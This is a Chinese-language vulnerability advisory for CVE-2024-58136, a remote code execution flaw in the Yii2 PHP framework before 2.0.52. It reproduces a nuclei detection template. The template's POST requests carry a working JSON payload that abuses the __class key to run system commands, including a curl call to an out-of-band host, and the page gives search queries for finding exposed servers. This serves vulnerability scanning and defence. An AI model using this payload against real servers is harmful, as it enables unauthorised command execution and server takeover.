Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞信息

漏洞名称： Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞编号：

• CVE： CVE-2024-58136

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： Yii2是一个流行的PHP框架，广泛用于快速开发现代Web应用程序。它提供了丰富的功能，如MVC架构、数据库抽象层、表单验证等，被许多开发者和企业用于构建高性能的网站和服务。该框架的典型部署场景包括企业级服务和常见的Web应用组件，因其易用性和强大的功能而受到广泛欢迎。此次发现的漏洞涉及Yii2框架在2.0.52版本之前的一个远程代码执行（RCE）漏洞，具体原因是框架在处理JSON行为时对__class键的验证不当。攻击者可以通过构造恶意的JSON数据，利用这一漏洞实例化任意的PHP类，从而实现远程代码执行。这种漏洞的技术根源在于输入验证不严格，允许攻击者注入恶意代码。由于该漏洞允许未经认证的攻击者远程执行任意代码，其潜在的安全风险极高，可能导致服务器被完全控制、数据泄露或服务中断。攻击者可以利用此漏洞自动化攻击，无需用户交互，因此威胁等级被评定为严重。

产品厂商： yiisoft

产品名称： Yii2 PHP Framework

影响版本： version < 2.0.52

搜索语法： title=”Yii”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/34ea099b62cc98b473d146d18b5a8a55bcb09b3f/http%2Fcves%2F2024%2FCVE-2024-58136.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-58136

info:
  name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
  reference:
    - https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58136
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-58136
    cwe-id: CWE-94
    cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: yiisoft
    product: yii
    fofa-query: title="Yii"
    shodan-query: title:"Yii"
  tags: cve,cve2024,yii2,rce,php,framework

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "Yii"
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "PHP Version"
          - "PHP Extension"
        condition: and
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